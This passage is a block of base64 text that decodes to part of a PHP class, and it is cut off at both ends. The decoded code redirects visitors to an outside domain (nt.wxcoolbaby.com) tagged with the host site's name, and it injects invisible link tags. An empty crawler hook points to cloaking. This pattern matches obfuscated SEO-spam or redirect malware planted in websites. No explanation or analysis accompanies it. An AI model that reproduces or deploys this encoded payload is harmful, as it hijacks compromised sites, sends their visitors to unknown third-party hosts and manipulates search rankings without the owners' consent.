ZElwKCkpewoJCQkkZG9tYWluICA9IHN0cl9yZXBsYWNlKCIuIiwiXyIsJHRoaXMtPmRvbWFpbik7 CgkJCWhlYWRlcignTG9jYXRpb246IGh0dHA6Ly9udC53eGNvb2xiYWJ5LmNvbS9udC8/anBfJy4k ZG9tYWluKTsKCQkJZXhpdDsKCQl9Cgl9CgkKCXB1YmxpYyBmdW5jdGlvbiBfdW5jb25kaXRpb25f aG9vaygpewoJCSRhcnJheSA9IGFycmF5KCk7CgkJZm9yKCRhPTA7JGE8NTskYSsrKXsKCQkJZWNo byAnPGEgaHJlZj0iJy5BcHBfR2V0TGluaygpLiciPjwvYT4nLiJcbiI7CgkJfQoJfQoKCXB1Ymxp YyBmdW5jdGlvbiBfdW5TcGlkZXJfaG9vaygpewoJCS8vCgl9CgoKCXB1YmxpYyBmdW5jdGlvbiBz dHJTdGFydFdpdGgoJG5lZWRsZSwgJGhheXN0YWNrKXsKICAJICByZXR1cm4gKHN1YnN0cigkaGF5 c3RhY2ssIDAsIHN0cmxlbigkbmVlZGxlKSk9PSRuZWVkbGUpOwoJfQoJCglwdWJsaWMgZnVuY3Rp b24gY3V0KCRmaWxlLCRmcm9tLCRlbmQpCgl7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGZyb20sJGZp bGUpOyAKCQkkbWVzc2FnZT1leHBsb2RlKCRlbmQsJG1lc3NhZ2VbMV0pOyAKCQlyZXR1cm4gICAk bWVzc2FnZVswXTsKCX0KfQoKCg==